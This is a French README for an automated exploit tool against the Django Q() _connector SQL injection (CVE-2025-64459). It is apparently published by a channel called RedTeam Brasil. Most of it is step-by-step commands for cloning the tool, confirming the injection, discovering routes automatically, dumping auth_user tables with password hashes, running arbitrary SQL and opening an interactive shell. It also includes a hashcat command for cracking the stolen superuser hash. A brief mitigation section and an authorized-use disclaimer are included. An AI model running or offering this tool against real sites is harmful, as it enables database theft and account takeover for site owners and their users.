
NEO-SQLi — exploit de l'injection SQL du connecteur Django (CVE-2025-64459) | canal RedTeam Brasil
Exploitation automatisée d'injection SQL dans l'ORM de Django
Q-object _connector · CVE-2025-64459
🎥 chaîne RedTeam Brasil — sécurité offensive, en pratique, en portugais.
██████╗ ████████╗██████╗ connector-sqli
██╔══██╗╚══██╔══╝██╔══██╗ Django Q() `_connector` SQLi
██████╔╝ ██║ ██████╔╝ CVE-2025-64459
██╔══██╗ ██║ ██╔══██╗ chaîne RedTeam Brasil
██║ ██║ ██║ ██████╔╝ youtube.com/@RedTeamBrasil
╚═╝ ╚═╝ ╚═╝ ╚═════╝ utilisation autorisée uniquement
L'ORM de Django construit des filtres avec des objets Q(). Le constructeur
Q(*args, _connector=None, _negated=False, **kwargs) accepte le kwarg spécial
_connector — la chaîne (AND/OR) qui relie les conditions dans le WHERE.
Dans les versions affectées cette valeur n'était pas assainie et allait brute dans le SQL.
Lorsque l'application transmet directement une entrée utilisateur à Q() / .filter() /
.exclude() / .get() via l'expansion de dictionnaire — l'anti-patron classique :
# ❌ VULNÉRABLE
posts = Post.objects.filter(Q(**request.GET)) # ou .filter(**request.GET)
…l'attaquant contrôle _connector et injecte du SQL arbitraire entre les conditions
(valable pour SQLite, PostgreSQL, MySQL, etc.).
| Élément | Détail |
|---|---|
| CVE | CVE-2025-64459 |
| Composant | django.db.models — Q() / QuerySet (_connector et alias de colonne) |
| Versions affectées | Django < 4.2.26, < 5.1.14, < 5.2.8 |
| Correctif | mettre à jour vers 4.2.26 / 5.1.14 / 5.2.8 (ou supérieur) |
| Impact | lecture arbitraire de la base de données (UNION/blind) → dump des identifiants et escalade de la chaîne |
Avec
DEBUG = Truel'exploitation devient triviale : la page d'erreur de Django renvoie le SQL construit, la table de base et le nombre de colonnes — exactement ce que l'outil utilise pour construire le UNION tout seul.
Explorateur générique (non lié à une cible) et automatisé :
--auto) : crawl de la page d'accueil + robots/sitemap + wordlist intégrée, en testant chaque route via le FieldError de Django.DEBUG=True via FieldError.--proxy) et cibles HTTPS.git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py
# 1) confirmer la vulnérabilité
python3 rtb_connector_sqli.py -u http://ALVO check
# 2) lister les tables
python3 rtb_connector_sqli.py -u http://ALVO tables
# 3) lister les colonnes d'une table
python3 rtb_connector_sqli.py -u http://ALVO columns auth_user
# 4) dumper (colonnes spécifiques ou toutes)
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --where "is_superuser=1"
# 5) raccourci pour les utilisateurs Django
python3 rtb_connector_sqli.py -u http://ALVO users
# 6) expression SQL libre
python3 rtb_connector_sqli.py -u http://ALVO query "sqlite_version()"
# 7) MODE INTERACTIF (menu table → colonnes → dump)
python3 rtb_connector_sqli.py -u http://ALVO shell
# 8) VOUS NE CONNAISSEZ PAS LA ROUTE ? laissez-le trouver tout seul
python3 rtb_connector_sqli.py -u http://ALVO auto # découvre et liste seulement
python3 rtb_connector_sqli.py -u http://ALVO --auto shell # découvre et exploite directement
Avec
--auto(ou la sous-commandeauto) il fait un crawl de la page d'accueil +robots.txt/sitemap.xmlet lance une wordlist intégrée de routes de listage/recherche (EN + PT-BR + API), en marquant celles qui renvoient unFieldErrorde Django. Si vous passez un--patherroné, il bascule automatiquement en mode découverte.
| Drapeau | Pour quoi |
|---|---|
--path /buscar | point de terminaison vulnérable (défaut /list) |
--auto | trouve le point de terminaison tout seul (crawl + wordlist) |
--wordlist rotas.txt | routes supplémentaires pour la découverte (1 par ligne) |
--base app_model | force la table de base (si l'auto-détection échoue) |
--proxy http://127.0.0.1:8080 | envoie tout vers Burp / mitmproxy |
# tout via Burp
python3 rtb_connector_sqli.py -u http://ALVO --proxy http://127.0.0.1:8080 users
# ou par variable d'environnement (sans le drapeau)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ALVO shell
[*] Cible : http://ALVO/list
[+] Champs du model (6) : author, content, created_at, id, status, title
[+] SQLi confirmée dans `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Table de base : <app>_<model> · colonnes dans le SELECT : 6
[+] Colonne réfléchie (lecture) : position 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──
Avec le hash du superutilisateur en main :
hashcat -m 10000 hash.txt rockyou.txt # Django utilise pbkdf2_sha256
request.GET directement à Q()/.filter(). Utilisez une liste blanche :
ALLOWED = {"title__icontains", "status"}
safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
Post.objects.filter(**safe)
DEBUG = False en production (ne fuyez pas SQL/tables/settings).Outil éducatif et pour tests autorisés uniquement (labs, CTF, bug bounty dans le scope, pentest sous contrat). Toute utilisation contre des systèmes sans autorisation explicite est un crime — vous êtes le seul responsable.
Fait par RedTeam Brasil · vous avez aimé ? laissez un like et abonnez-vous à la chaîne.